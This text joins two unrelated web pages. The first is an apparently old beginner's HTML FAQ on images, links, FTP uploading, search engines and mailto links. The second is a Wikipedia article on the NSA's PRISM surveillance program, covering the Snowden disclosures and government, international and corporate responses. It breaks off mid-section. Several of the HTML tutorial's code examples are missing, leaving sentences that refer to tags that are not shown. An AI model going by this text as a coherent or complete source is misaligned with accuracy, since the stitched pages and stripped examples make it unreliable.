All pictures must be converted to one of several digital formats, so you'll need a scanner and software (such as Adobe Photoshop) to manipulate the picture into the form you wish to display it in; the pictures don't appear there magically! To get your pictures to display on a Web page, you must use certain HTML tags to "point to" the picture files that, like your HTML files, have been uploaded to a server. Where and how you place the tags deems how the art will be viewed by a particular user.

Pictures can be saved in a variety of styles; the GIF format is the most commonly recognized by various browsers, and is thus most commonly used. The JPEG format is also fairly common; it creates better quality photos, especially with scans. A program called GIF Converter is also helpful; it converts files saved in the Macintosh PICT format to either a GIF or a JPEG, and allows you to edit the files.

Here is the most common tag used to find and place a picture on a Web page:

IMG SRC is the tag that codes a picture placement; "picture.gif" is the name of the GIF file that corresponds to the picture in question. This filename will change based on the picture you are using.


Back to top of page


How do I create links to other pages?
This is one of the most important things you need to learn, and it's easy to do! You need to know two things; first, the exact address of the page you are linking to, and then, the tag for linking. HTML's tag for linking is , which stands for anchor. To link your file to another file, use <A followed by HREF="filename" and then close the command with a right angle bracket. The following is an example of a typical link to another page you've created:

Here's my family's home page

When clicked upon, this link, which will be viewed on a user's screen as "Here's my family's home page" with an underline underneath it, will cause the user's browser to open the file "myfamily.htm". Linking to any page anywhere on the Web is just a little more complicated, since you must provide the exact, full URL address. The following HTML code would link to Web Developer®'s home page:

<A HREF="http://www.webdeveloper.com/">Check out my favorite site

Note that a correct URL must include the "http://" at the beginning, and must end with either a slash "/" character at the end (for a domain name or directory) or a file name, usually ".htm" or ".html".


Back to top of page


How do I get my pages on the Web? Do I have to pay for it?
Before you get ready to put (or "upload") your page(s) onto the Web, you must make sure of three things. First, you must have a completed and correct HTML document (to check your first one without even using the Web, just open the HTML file in your favorite browser). Second, you must have copies of all your images and sounds, so those who access your pages will be able to see the pictures you have provided. Third, you will need a private account on a Web server--a computer permanently connected to the Internet--so you can upload your files to it, and other people can see them.

You also must be able to transfer your files to the server. For a Macintosh, you will need a program called Fetch; you can download this program from Dartmouth College's FTP server, where the program was developed. Follow the instructions for the uploading of files from there. For IBM and compatibles, use any FTP (File Transfer Protocol) client (there's a basic one built in to Windows 95); one of the easiest to use is Cute FTP.

From there, you have the choice of a few different options for getting your pages up on the Web. Depending on your circumstances at school or at work, you may have to pay a fee to keep your pages on the Web; the rates will vary from provider to provider. University servers will sometimes upload student or faculty pages to their server for free or a minor fee; if you work in a company that allows you to use their server, that's another option. If neither of these are possible, you'll need an independent ISP (Internet Service Provider), price the options, then upload the information to the provider so they can put it up for you. You will be paying a fee (most likely on a month-to-month basis) in this case. Fees could be flat, but many times they depend on how many people are accessing your site (called "hits"). The more hits, the more taxing it is on the server, and potentially, the more you'll pay.


Back to top of page


How can I get people to find my page once it's on the Web?
Heard of Yahoo? Or AltaVista? Or WebCrawler? You have if you've heard the term "search engine." Search engines are basically companies present on the Internet that help users find what they want based on certain keywords. For instance, if you enter the term "Web Developer", a screen will magically appear with links to all of the sites that have matching keywords. If you enter into sites such as Yahoo! and AltaVista, you can click on links to add your URL; other automatic search databases such as Lycos will find your new page within a couple of weeks, and add your URL to their database. Here you will find a complete list of search engines.


Back to top of page


How can I receive mail from users via my site?
If you're selling something, or providing hard copy to users of your site, or you just want feedback on what people think of your handiwork, you'll want to create a mail link on your site. You do it in a way similar to creating a site link. Use the MAILTO command as the following example does:

<A HREF="MAILTO:[email protected]">[email protected]

In this case, when you click on [email protected], the mail screen pops up on your browser, and the mail you type is sent to the person with the address in the link.


Back to top of page


Resources and Pointers for Further HTML Exploration


Back to top of page

|


|
|

Acceptable Use Policy

Property of Quinstreet Enterprise.

Terms of Service | Licensing & Reprints | Privacy Policy | Advertise
Copyright 2019 QuinStreet Inc. All Rights Reserved.

| |

Add Tags ?

AddDeleteNo

close

close

PRISM (surveillance program) - Wikipedia

PRISM (surveillance program) - Wikipedia



Open main menu

Search

Show my notifications



Missouri + Illinois Wikipedians: You are invited to join our Wiknic, the "picnic anyone can edit", with local Wikipedians at Brightside St. Louis on Sunday, September 15!

PRISM (surveillance program)

PRISM is a code name for a program under which the United States National Security Agency (NSA) collects internet communications from various U.S. internet companies.[1][2][3] The program is also known by the SIGAD US-984XN.[4][5] PRISM collects stored internet communications based on demands made to internet companies such as Google LLC under Section 702 of the FISA Amendments Act of 2008 to turn over any data that match court-approved search terms.[6] The NSA can use these PRISM requests to target communications that were encrypted when they traveled across the internet backbone, to focus on stored data that telecommunication filtering systems discarded earlier,[7][8] and to get data that is easier to handle, among other things.[9]

PRISM began in 2007 in the wake of the passage of the Protect America Act under the Bush Administration.[10][11] The program is operated under the supervision of the U.S. Foreign Intelligence Surveillance Court (FISA Court, or FISC) pursuant to the Foreign Intelligence Surveillance Act (FISA).[12] Its existence was leaked six years later by NSA contractor Edward Snowden, who warned that the extent of mass data collection was far greater than the public knew and included what he characterized as "dangerous" and "criminal" activities.[13] The disclosures were published by The Guardian and The Washington Post on June 6, 2013. Subsequent documents have demonstrated a financial arrangement between the NSA's Special Source Operations division (SSO) and PRISM partners in the millions of dollars.[14]

Documents indicate that PRISM is "the number one source of raw intelligence used for NSA analytic reports", and it accounts for 91% of the NSA's internet traffic acquired under FISA section 702 authority."[15][16] The leaked information came to light one day after the revelation that the FISA Court had been ordering a subsidiary of telecommunications company Verizon Communications to turn over to the NSA logs tracking all of its customers' telephone calls.[17][18]

U.S. government officials have disputed some aspects of the Guardian and Washington Post stories and have defended the program by asserting it cannot be used on domestic targets without a warrant, that it has helped to prevent acts of terrorism, and that it receives independent oversight from the federal government's executive, judicial and legislative branches.[19][20] On June 19, 2013, U.S. President Barack Obama, during a visit to Germany, stated that the NSA's data gathering practices constitute "a circumscribed, narrow system directed at us being able to protect our people."[21]

Contents

Media disclosure of PRISMEdit

Further information: Global surveillance disclosure

PRISM was publicly revealed when classified documents about the program were leaked to journalists of The Washington Post and The Guardian by Edward Snowden – at the time an NSA contractor – during a visit to Hong Kong.[1][2] The leaked documents included 41 PowerPoint slides, four of which were published in news articles.[1][2]

The documents identified several technology companies as participants in the PRISM program, including Microsoft in 2007, Yahoo! in 2008, Google in 2009, Facebook in 2009, Paltalk in 2009, YouTube in 2010, AOL in 2011, Skype in 2011 and Apple in 2012.[22] The speaker's notes in the briefing document reviewed by The Washington Post indicated that "98 percent of PRISM production is based on Yahoo, Google, and Microsoft".[1]

The slide presentation stated that much of the world's electronic communications pass through the U.S., because electronic communications data tend to follow the least expensive route rather than the most physically direct route, and the bulk of the world's internet infrastructure is based in the United States.[15] The presentation noted that these facts provide United States intelligence analysts with opportunities for intercepting the communications of foreign targets as their electronic data pass into or through the United States.[2][15]

Snowden's subsequent disclosures included statements that government agencies such as the United Kingdom's GCHQ also undertook mass interception and tracking of internet and communications data[23] – described by Germany as "nightmarish" if true[24] – allegations that the NSA engaged in "dangerous" and "criminal" activity by "hacking" civilian infrastructure networks in other countries such as "universities, hospitals, and private businesses",[13] and alleged that compliance offered only very limited restrictive effect on mass data collection practices (including of Americans) since restrictions "are policy-based, not technically based, and can change at any time", adding that "Additionally, audits are cursory, incomplete, and easily fooled by fake justifications",[13] with numerous self-granted exceptions, and that NSA policies encourage staff to assume the benefit of the doubt in cases of uncertainty.[25][26][27]

The slidesEdit

Below are a number of slides released by Edward Snowden showing the operation and processes behind the PRISM program. The "FAA" referred to is Section 702 of the FISA Amendments Act ("FAA"), and not the Federal Aviation Administration, which is more widely known by the same FAA initialism.


  • Introduction slide.


  • Slide showing that much of the world's communications flow through the U.S.


  • Details of information collected via PRISM


  • Slide listing companies and the date that PRISM collection began


  • Slide showing PRISM's tasking process


  • Slide showing the PRISM collection dataflow


  • Slide showing PRISM case numbers


  • Slide showing the REPRISMFISA Web app


  • Slide showing some PRISM targets.


  • Slide fragment mentioning "upstream collection", FAA702, EO 12333, and references yahoo.com explicitly in the text


  • FAA702 Operations, and map


  • FAA702 Operations, and map. The subheader reads "Collection only possible under FAA702 Authority". FAIRVIEW is in the center box.


  • FAA702 Operations, and map. The subheader reads "Collection only possible under FAA702 Authority". STORMBREW is in the center box.


  • Tasking, Points to Remember. Transcript of body: Whenever your targets meet FAA criteria, you should consider asking to FAA. Emergency tasking processes exist for [imminent /immediate ] threat to life situations and targets can be placed on [illegible] within hours (surveillance and stored comms). Get to know your Product line FAA adjudicators and FAA leads.

The French newspaper Le Monde disclosed new PRISM slides (See Page 4, 7 and 8) coming from the "PRISM/US-984XN Overview" presentation on October 21, 2013.[28] The British newspaper The Guardian disclosed new PRISM slides (see pages 3 and 6) in November 2013 which on the one hand compares PRISM with the Upstream program, and on the other hand deals with collaboration between the NSA's Threat Operations Center and the FBI.[29]

Wikimedia Commons keeps copies of the leaked PowerPoint slides here : Commons:Category:PRISM (surveillance program) along with other associated documents.

The programEdit


PRISM logo

PRISM is a program from the Special Source Operations (SSO) division of the NSA, which in the tradition of NSA's intelligence alliances, cooperates with as many as 100 trusted U.S. companies since the 1970s.[1] A prior program, the Terrorist Surveillance Program,[30][31] was implemented in the wake of the September 11 attacks under the George W. Bush Administration but was widely criticized and challenged as illegal, because it did not include warrants obtained from the Foreign Intelligence Surveillance Court.[31][32][33][34][35] PRISM was authorized by the Foreign Intelligence Surveillance Court.[15]

PRISM was enabled under President Bush by the Protect America Act of 2007 and by the FISA Amendments Act of 2008, which immunizes private companies from legal action when they cooperate with U.S. government agencies in intelligence collection. In 2012 the act was renewed by Congress under President Obama for an additional five years, through December 2017.[2][36][37] According to The Register, the FISA Amendments Act of 2008 "specifically authorizes intelligence agencies to monitor the phone, email, and other communications of U.S. citizens for up to a week without obtaining a warrant" when one of the parties is outside the U.S.[36]

The most detailed description of the PRISM program can be found in a report about NSA's collection efforts under Section 702 FAA, that was released by the Privacy and Civil Liberties Oversight Board (PCLOB) on July 2, 2014.[38]

According to this report, PRISM is only used to collect internet communications, not telephone conversations. These internet communications are not collected in bulk, but in a targeted way: only communications that are to or from specific selectors, like e-mail addresses, can be gathered. Under PRISM, there's no collection based upon keywords or names.[38]

The actual collection process is done by the Data Intercept Technology Unit (DITU) of the FBI, which on behalf of the NSA sends the selectors to the U.S. internet service providers, which were previously served with a Section 702 Directive. Under this directive, the provider is legally obliged to hand over (to DITU) all communications to or from the selectors provided by the government.[38] DITU then sends these communications to NSA, where they are stored in various databases, depending on their type.

Data, both content and metadata, that already have been collected under the PRISM program, may be searched for both US and non-US person identifiers. These kinds of queries became known as "back-door searches" and are conducted by NSA, FBI and CIA.[39] Each of these agencies has slightly different protocols and safeguards to protect searches with a US person identifier.[38]

Extent of the programEdit

Internal NSA presentation slides included in the various media disclosures show that the NSA could unilaterally access data and perform "extensive, in-depth surveillance on live communications and stored information" with examples including email, video and voice chat, videos, photos, voice-over-IP chats (such as Skype), file transfers, and social networking details.[2] Snowden summarized that "in general, the reality is this: if an NSA, FBI, CIA, DIA, etc. analyst has access to query raw SIGINT [signals intelligence] databases, they can enter and get results for anything they want."[13]

According to The Washington Post, the intelligence analysts search PRISM data using terms intended to identify suspicious communications of targets whom the analysts suspect with at least 51 percent confidence to not be U.S. citizens, but in the process, communication data of some U.S. citizens are also collected unintentionally.[1] Training materials for analysts tell them that while they should periodically report such accidental collection of non-foreign U.S. data, "it's nothing to worry about."[1][40]

According to The Guardian, NSA had access to chats and emails on Hotmail.com and Skype because Microsoft had "developed a surveillance capability to deal" with the interception of chats, and "for Prism collection against Microsoft email services will be unaffected because Prism collects this data prior to encryption."[41][42][43]

Also according to The Guardian's Glenn Greenwald even low-level NSA analysts are allowed to search and listen to the communications of Americans and other people without court approval and supervision. Greenwald said low level Analysts can, via systems like PRISM, "listen to whatever emails they want, whatever telephone calls, browsing histories, Microsoft Word documents.[30] And it's all done with no need to go to a court, with no need to even get supervisor approval on the part of the analyst."[44]

He added that the NSA databank, with its years of collected communications, allows analysts to search that database and listen "to the calls or read the emails of everything that the NSA has stored, or look at the browsing histories or Google search terms that you've entered, and it also alerts them to any further activity that people connected to that email address or that IP address do in the future."[44] Greenwald was referring in the context of the foregoing quotes to the NSA program X-Keyscore.[45]

PRISM overviewEdit

Designation Legal Authority_See Note_ Key Targets Type of Information collected Associated Databases Associated Software
US-984XN Section 702 of the FISA Amendments Act (FAA) Known Targets include[46]
  • Venezuela
    • Military procurement
    • Oil
  • Mexico
    • Narcotics
    • Energy
    • Internal Security
    • Political Affairs
  • Colombia

| The exact type of data varies by provider:

  • Email
  • Chat – video, voice
  • Videos
  • Stored data
  • VoIP
  • File transfers
  • Video Conferencing
  • Notifications of target activity, logins, etc.
  • Online Social Networking details
  • Special Requests

| Known:

| Known:

Unified Targeting Tool

|

Responses to disclosuresEdit

United States governmentEdit

Executive branchEdit

Shortly after publication of the reports by The Guardian and The Washington Post, the United States Director of National Intelligence, James Clapper, on June 7, 2013, released a statement confirming that for nearly six years the government of the United States had been using large internet services companies such as Facebook to collect information on foreigners outside the United States as a defense against national security threats.[17] The statement read in part, "The Guardian and The Washington Post articles refer to collection of communications pursuant to Section 702 of the Foreign Intelligence Surveillance Act. They contain numerous inaccuracies."[47] He went on to say, "Section 702 is a provision of FISA that is designed to facilitate the acquisition of foreign intelligence information concerning non-U.S. persons located outside the United States. It cannot be used to intentionally target any U.S. citizen, any other U.S. person, or anyone located within the United States."[47] Clapper concluded his statement by stating, "The unauthorized disclosure of information about this important and entirely legal program is reprehensible and risks important protections for the security of Americans."[47] On March 12, 2013, Clapper had told the United States Senate Select Committee on Intelligence that the NSA does "not wittingly" collect any type of data on millions or hundreds of millions of Americans.[48] Clapper later admitted the statement he made on March 12, 2013, was a lie,[49] or in his words "I responded in what I thought was the most truthful, or least untruthful manner by saying no."[50]

On June 7, 2013, U.S. President Barack Obama, referring to the PRISM program[citation needed] and the NSA's telephone calls logging program, said, "What you've got is two programs that were originally authorized by Congress, have been repeatedly authorized by Congress. Bipartisan majorities have approved them. Congress is continually briefed on how these are conducted. There are a whole range of safeguards involved. And federal judges are overseeing the entire program throughout."[51] He also said, "You can't have 100 percent security and then also have 100 percent privacy and zero inconvenience. You know, we're going to have to make some choices as a society."[51] In separate statements, senior Obama administration officials (not mentioned by name in source) said that Congress had been briefed 13 times on the programs since 2009.[52]

On June 8, 2013, Director of National Intelligence Clapper made an additional public statement about PRISM and released a fact sheet providing further information about the program, which he described as "an internal government computer system used to facilitate the government's statutorily authorized collection of foreign intelligence information from electronic communication service providers under court supervision, as authorized by Section 702 of the Foreign Intelligence Surveillance Act (FISA) (50 U.S.C. § 1881a)."[53][54] The fact sheet stated that "the surveillance activities published in The Guardian and the Washington Post are lawful and conducted under authorities widely known and discussed, and fully debated and authorized by Congress."[53] The fact sheet also stated that "the United States Government does not unilaterally obtain information from the servers of U.S. electronic communication service providers. All such information is obtained with FISA Court approval and with the knowledge of the provider based upon a written directive from the Attorney General and the Director of National Intelligence." It said that the attorney general provides FISA Court rulings and semi-annual reports about PRISM activities to Congress, "provid[ing] an unprecedented degree of accountability and transparency."[53] Democratic senators Udall and Wyden, who serve on the U.S. Senate Select Committee on Intelligence, subsequently criticized the fact sheet as being inaccurate.[clarification needed] NSA Director General Keith Alexander acknowledged the errors, stating that the fact sheet "could have more precisely described" the requirements governing the collection of e-mail and other internet content from US companies. The fact sheet was withdrawn from the NSA's website around June 26.[55]

In a closed-doors Senate hearing around June 11, FBI Director Robert Mueller said that Snowden's leaks had caused "significant harm to our nation and to our safety."[56] In the same Senate NSA Director Alexander defended the program.[further explanation needed] Alexander's defense was immediately criticized by Senators Udall and Wyden, who said they saw no evidence that the NSA programs had produced "uniquely valuable intelligence." In a joint statement, they wrote, "Gen Alexander's testimony yesterday suggested that the NSA's bulk phone records collection program helped thwart 'dozens' of terrorist attacks, but all of the plots that he mentioned appear to have been identified using other collection methods."[56][57]

On June 18, NSA Director Alexander said in an open hearing before the House Intelligence Committee of Congress that communications surveillance had helped prevent more than 50 potential terrorist attacks worldwide (at least 10 of them involving terrorism suspects or targets in the United States) between 2001 and 2013, and that the PRISM web traffic surveillance program contributed in over 90 percent of those cases.[58][59][60] According to court records, one example Alexander gave regarding a thwarted attack by al Qaeda on the New York Stock Exchange was not in fact foiled by surveillance.[61] Several senators wrote Director of National Intelligence Clapper asking him to provide other examples.[62]

U.S. intelligence officials, speaking on condition of anonymity, told various news outlets that by June 24 they were already seeing what they said was evidence that suspected terrorists had begun changing their communication practices in order to evade detection by the surveillance tools disclosed by Snowden.[63][64]

Legislative branchEdit

In contrast to their swift and forceful reactions the previous day to allegations that the government had been conducting surveillance of United States citizens' telephone records, Congressional leaders initially had little to say about the PRISM program the day after leaked information about the program was published. Several lawmakers declined to discuss PRISM, citing its top-secret classification,[65] and others said that they had not been aware of the program.[66] After statements had been released by the president and the Director of National Intelligence, some lawmakers began to comment:

Senator John McCain (R-AZ)

  • June 9, 2013, "We passed the Patriot Act. We passed specific provisions of the act that allowed for this program to take place, to be enacted in operation."[67]

Senator Dianne Feinstein (D-CA), chair of the Senate Intelligence Committee

  • June 9 "These programs are within the law," "part of our obligation is keeping Americans safe," "Human intelligence isn't going to do it."[68]
  • June 9 "Here's the rub: the instances where this has produced good—has disrupted plots, prevented terrorist attacks, is all classified, that's what's so hard about this."[69]
  • June 11 "It went fine. ... We asked him (Keith Alexander) to declassify things because it would be helpful (for people and lawmakers to better understand the intelligence programs). ... I've just got to see if the information gets declassified. I'm sure people will find it very interesting."[70]

Senator Rand Paul (R-KY)

  • June 9 "I'm going to be seeing if I can challenge this at the Supreme Court level. I'm going to be asking the internet providers and all of the phone companies: ask your customers to join me in a class-action lawsuit."[67]

Senator Susan Collins (R-ME), member of Senate Intelligence Committee and past member of Homeland Security Committee

  • June 11 "I had, along with Joe Lieberman, a monthly threat briefing, but I did not have access to this highly compartmentalized information" and "How can you ask when you don't know the program exists?"[71]

Representative Jim Sensenbrenner (R-WI), principal sponsor of the Patriot Act

  • June 9, "This is well beyond what the Patriot Act allows."[72] "President Obama's claim that 'this is the most transparent administration in history' has once again proven false. In fact, it appears that no administration has ever peered more closely or intimately into the lives of innocent Americans."[72]

Representative Mike Rogers (R-MI), a chairman of the Permanent Select Committee on Intelligence.

  • June 9 "One of the things that we're charged with is keeping America safe and keeping our civil liberties and privacy intact. I think we have done both in this particular case."[68]
  • June 9 "Within the last few years this program was used to stop a program, excuse me, to stop a terrorist attack in the United States, we know that. It's, it's, it's important, it fills in a little seam that we have and it's used to make sure that there is not an international nexus to any terrorism event that they may believe is ongoing in the United States. So in that regard it is a very valuable thing."[73]

Senator Mark Udall (D-CO)

  • June 9 "I don't think the American public knows the extent or knew the extent to which they were being surveilled and their data was being collected. ... I think we ought to reopen the Patriot Act and put some limits on the amount of data that the National Security (Agency) is collecting. ... It ought to remain sacred, and there's got to be a balance here. That is what I'm aiming for. Let's have the debate, let's be transparent, let's open this up."[68]

Representative Todd Rokita (R-IN)

Representative Luis Gutierrez (D-IL)

  • June 9 "We will be receiving secret briefings and we will be asking, I know I'm going to be asking to get more information. I want to make sure that what they're doing is harvesting information that is necessary to keep us safe and not simply going into everybody's private telephone conversations and Facebook and communications. I mean one of the, you know, the terrorists win when you debilitate freedom of expression and privacy."[73]

Senator Ron Wyden (D-OR)

  • July 11 "I have a feeling that the administration is getting concerned about the bulk phone records collection, and that they are thinking about whether to move administratively to stop it. I think we are making a comeback".[75]

Following these statements some lawmakers from both parties warned national security officials during a hearing before the House Judiciary Committee that they must change their use of sweeping National Security Agency surveillance programs or face losing the provisions of the Foreign Intelligence Surveillance Act that have allowed for the agency's mass collection of telephone metadata.[76] "Section 215 expires at the end of 2015, and unless you realize you've got a problem, that is not going to be renewed," Rep. Jim Sensenbrenner, R-Wis., author of the USA Patriot Act, threatened during the hearing.[76] "It's got to be changed, and you've got to change how you operate section 215. Otherwise, in two and a half years, you're not going to have it anymore."[76]

Judicial branchEdit

Leaks of classified documents pointed to the role of a special court in enabling the government's secret surveillance programs, but members of the court maintained they were not collaborating with the executive branch.[77] The New York Times, however, reported in July 2013 that in "more than a dozen classified rulings, the nation's surveillance court has created a secret body of law giving the National Security Agency the power to amass vast collections of data on Americans while pursuing not only terrorism suspects, but also people possibly involved in nuclear proliferation, espionage and cyberattacks."[78] After Members of the U.S. Congress pressed the Foreign Intelligence Surveillance Court to release declassified versions of its secret ruling, the court dismissed those requests arguing that the decisions can't be declassified because they contain classified information.[79] Reggie Walton, the current FISA presiding judge, said in a statement: "The perception that the court is a rubber stamp is absolutely false. There is a rigorous review process of applications submitted by the executive branch, spearheaded initially by five judicial branch lawyers who are national security experts, and then by the judges, to ensure that the court's authorizations comport with what the applicable statutes authorize."[80] The accusation of being a "rubber stamp" was further rejected by Walton who wrote in a letter to Senator Patrick J. Leahy: "The annual statistics provided to Congress by the Attorney General ...—frequently cited to in press reports as a suggestion that the Court's approval rate of application is over 99%—reflect only the number of final applications submitted to and acted on by the Court. These statistics do not reflect the fact that many applications are altered to prior or final submission or even withheld from final submission entirely, often after an indication that a judge would not approve them."[81]

The U.S. militaryEdit

The U.S. military has acknowledged blocking access to parts of The Guardian website for thousands of defense personnel across the country,[82] and blocking the entire Guardian website for personnel stationed throughout Afghanistan, the Middle East, and South Asia.[83] A spokesman said the military was filtering out reports and content relating to government surveillance programs to preserve "network hygiene" and prevent any classified material from appearing on unclassified parts of its computer systems.[82] Access to the Washington Post, which also published information on classified NSA surveillance programs disclosed by Edward Snowden, had not been blocked at the time the blocking of access to The Guardian was reported.[83]

Responses and involvement of other countriesEdit

AustriaEdit

The former head of the Austrian Federal Office for the Protection of the Constitution and Counterterrorism, Gert-René Polli, stated he knew the PRISM program under a different name and stated that surveillance activities had occurred in Austria as well. Polli had publicly stated in 2009 that he had received requests from US intelligence agencies to do things that would be in violation of Austrian law, which Polli refused to allow.[84][85]

AustraliaEdit

The Australian government has said it will investigate the impact of the PRISM program and the use of the Pine Gap surveillance facility on the privacy of Australian citizens.[86] Australia's former foreign minister Bob Carr said that Australians shouldn't be concerned about PRISM but that cybersecurity is high on the government's list of concerns.[87] The Australian Foreign Minister Julie Bishop stated that the acts of Edward Snowden were treachery and offered a staunch defence of her nation's intelligence co-operation with the United States.[88]

BrazilEdit

Brazil's president at the time, Dilma Rousseff, responded to Snowden's reports that the NSA spied on her phone calls and emails by cancelling a planned October 2013 state visit to the United States, demanding an official apology, which by October 20, 2013, hadn't come.[89] Also, Rousseff classified the spying as unacceptable between more harsh words in a speech before the UN General Assembly on September 24, 2013.[90] As a result, Boeing lost out on a US$4.5 billion contract for fighter jets to Sweden's Saab Group.[91]

CanadaEdit

CSE headquarters in Ottawa

Canada's national cryptologic agency, the Communications Security Establishment (CSE), said that commenting on PRISM "would undermine CSE's ability to carry out its mandate." Privacy Commissioner Jennifer Stoddart lamented Canada's standards when it comes to protecting personal online privacy stating "We have fallen too far behind" in her report. "While other nations' data protection authorities have the legal power to make binding orders, levy hefty fines and take meaningful action in the event of serious data breaches, we are restricted to a 'soft' approach: persuasion, encouragement and, at the most, the potential to publish the names of transgressors in the public interest." And, "when push comes to shove," Stoddart wrote, "short of a costly and time-consuming court battle, we have no power to enforce our recommendations."[92][93]

European UnionEdit

On 20 October 2013 a committee at the European Parliament backed a measure that, if it is enacted, would require American companies to seek clearance from European officials before complying with United States warrants seeking private data. The legislation has been under consideration for two years. The vote is part of efforts in Europe to shield citizens from online surveillance in the wake of revelations about a far-reaching spying program by the U.S. National Security Agency.[94] Germany and France have also had ongoing mutual talks about how they can keep European email traffic from going across American servers.[95]

FranceEdit

On October 21, 2013, the French Foreign Minister, Laurent Fabius, summoned the U.S. Ambassador, Charles Rivkin, to the Quai d'Orsay in Paris to protest large-scale spying on French citizens by the U.S. National Security Agency (NSA). Paris prosecutors had opened preliminary inquiries into the NSA program in July, but Fabius said, "... obviously we need to go further" and "we must quickly assure that these practices aren't repeated."[96]

GermanyEdit

Germany did not receive any raw PRISM data, according to a Reuters report.[97] German Chancellor Angela Merkel said that "the internet is new to all of us" to explain the nature of the program; Matthew Schofield of McClatchy Washington Bureau said, "She was roundly mocked for that statement."[98] Gert-René Polli, a former Austrian counter-terrorism official, said in 2013 that it is "absurd and unnatural" for the German authorities to pretend not to have known anything.[84][85] The German Army was using PRISM to support its operations in Afghanistan as early as 2011.[99]

In October 2013, it was reported that the NSA monitored Merkel's cell phone.[100] The United States denied the report, but following the allegations, Merkel called President Obama and told him that spying on friends was "never acceptable, no matter in what situation."[101]

IsraelEdit

Israeli newspaper Calcalist discussed[102] the Business Insider article[103] about the possible involvement of technologies from two secretive Israeli companies in the PRISM program—Verint Systems and Narus.

MexicoEdit

After finding out about the PRISM program, the Mexican Government has started constructing its own spying program to spy on its own citizens. According to Jenaro Villamil, a writer from Proceso, CISEN, Mexico's intelligence agency has started to work with IBM and Hewlett Packard to develop its own data gathering software. "Facebook, Twitter, Emails and other social network sites are going to be priority."[104]

New ZealandEdit

In New Zealand, University of Otago information science Associate Professor Hank Wolfe said that "under what was unofficially known as the Five Eyes Alliance, New Zealand and other governments, including the United States, Australia, Canada, and Britain, dealt with internal spying by saying they didn't do it. But they have all the partners doing it for them and then they share all the information."[105]

Edward Snowden, in a live streamed Google Hangout to Kim Dotcom and Julian Assange, alleged that he had received intelligence from New Zealand, and the NSA has listening posts in New Zealand.[106]

SpainEdit

At a meeting of European Union leaders held the week of 21 October 2013, Mariano Rajoy, Spain's prime minister, said that "spying activities aren't proper among partner countries and allies". On 28 October 2013 the Spanish government summoned the American ambassador, James Costos, to address allegations that the U.S. had collected data on 60 million telephone calls in Spain. Separately, Íñigo Méndez de Vigo, a Spanish secretary of state, referred to the need to maintain "a necessary balance" between security and privacy concerns, but said that the recent allegations of spying, "if proven to be true, are improper and unacceptable between partners and friendly countries".[107]

United KingdomEdit

Further information: Mass surveillance in the United Kingdom

In the United Kingdom, the Government Communications Headquarters (GCHQ), which also has its own surveillance program, Tempora, had access to the PRISM program on or before June 2010 and wrote 197 reports with it in 2012 alone. The Intelligence and Security Committee of the UK Parliament reviewed the reports GCHQ produced on the basis of intelligence sought from the US. They found in each case a warrant for interception was in place in accordance with the legal safeguards contained in UK law.[108]

In August 2013, The Guardian newspaper's offices were visited by agents from GCHQ, who ordered and supervised the destruction of the hard drives containing information acquired from Snowden.[109]

CompaniesEdit

The original Washington Post and Guardian articles reporting on PRISM noted that one of the leaked briefing documents said PRISM involves collection of data "directly from the servers" of several major internet services providers.[1][2]

Initial public statementsEdit

Corporate executives of several companies identified in the leaked documents told The Guardian that they had no knowledge of the PRISM program in particular and also denied making information available to the government on the scale alleged by news reports.[2][110] Statements of several of the companies named in the leaked documents were reported by TechCrunch and The Washington Post as follows:[111][112]

  • Microsoft: "We provide customer data only when we receive a legally binding order or subpoena to do so, and never on a voluntary basis. In addition we only ever comply with orders for requests about specific accounts or identifiers. If the government has a broader voluntary national security program to gather customer data, we don't participate in it."[111][113]
  • Yahoo!: "Yahoo! takes users’ privacy very seriously. We do not provide the government with direct access to our servers, systems, or network."[111] "Of the hundreds of millions of users we serve, an infinitesimal percentage will ever be the subject of a government data collection directive."[112]
  • Facebook: "We do not provide any government organization with direct access to Facebook servers. When Facebook is asked for data or information about specific individuals, we carefully scrutinize any such request for compliance with all applicable laws, and provide information only to the extent required by law."[111]
  • Google: "Google cares deeply about the security of our users' data. We disclose user data to government in accordance with the law, and we review all such requests carefully. From time to time, people allege that we have created a government 'back door' into our systems, but Google does not have a backdoor for the government to access private user data."[111] "[A]ny suggestion that Google is disclosing information about our users' internet activity on such a scale is completely false."[112]
  • Apple: "We have never heard of PRISM"[114] "We do not provide any government agency with direct access to our servers, and any government agency requesting customer data must get a court order."[114]
  • Dropbox: "We’ve seen reports that Dropbox might be asked to participate in a government program called PRISM. We are not part of any such program and remain committed to protecting our users’ privacy."[111]

In response to the technology companies' confirmation of the NSA being able to directly access the companies' servers, The New York Times reported that sources had stated the NSA was gathering the surveillance data from the companies using other technical means in response to court orders for specific sets of data.[17] The Washington Post suggested, "It is possible that the conflict between the PRISM slides and the company spokesmen is the result of imprecision on the part of the NSA author. In another classified report obtained by The Post, the arrangement is described as allowing 'collection managers [to send] content tasking instructions directly to equipment installed at company-controlled locations,' rather than directly to company servers."[1] "[I]n context, 'direct' is more likely to mean that the NSA is receiving data sent to them deliberately by the tech companies, as opposed to intercepting communications as they're transmitted to some other destination.[112]

"If these companies received an order under the FISA amendments act, they are forbidden by law from disclosing having received the order and disclosing any information about the order at all," Mark Rumold, staff attorney at the Electronic Frontier Foundation, told ABC News.[115]

On May 28, 2013, Google was ordered by United States District Court Judge Susan Illston to comply with a National Security Letter issued by the FBI to provide user data without a warrant.[116] Kurt Opsahl, a senior staff attorney at the Electronic Frontier Foundation, in an interview with VentureBeat said, "I certainly appreciate that Google put out a transparency report, but it appears that the transparency didn't include this. I wouldn't be surprised if they were subject to a gag order."[117]

The New York Times reported on June 7, 2013, that "Twitter declined to make it easier for the government. But other companies were more compliant, according to people briefed on the negotiations."[118] The other companies held discussions with national security personnel on how to make data available more efficiently and securely.[118] In some cases, these companies made modifications to their systems in support of the intelligence collection effort.[118] The dialogues have continued in recent months, as General Martin Dempsey, the chairman of the Joint Chiefs of Staff, has met with executives including those at Facebook, Microsoft, Google and Intel.[118] These details on the discussions provide insight into the disparity between initial descriptions of the government program including a training slide which states, "Collection directly from the servers"[119] and the companies' denials.[118]

While providing data in response to a legitimate FISA request approved by the FISA Court is a legal requirement, modifying systems to make it easier for the government to collect the data is not. This is why Twitter could legally decline to provide an enhanced mechanism for data transmission.[118] Other than Twitter, the companies were effectively asked to construct a locked mailbox and provide the key to the government, people briefed on the negotiations said.[118] Facebook, for instance, built such a system for requesting and sharing the information.[118] Google does not provide a lockbox system, but instead transmits required data by hand delivery or ssh.[120]

Post-PRISM transparency reportsEdit

In response to the publicity surrounding media reports of data-sharing, several companies requested permission to reveal more public information about the nature and scope of information provided in response to National Security requests.

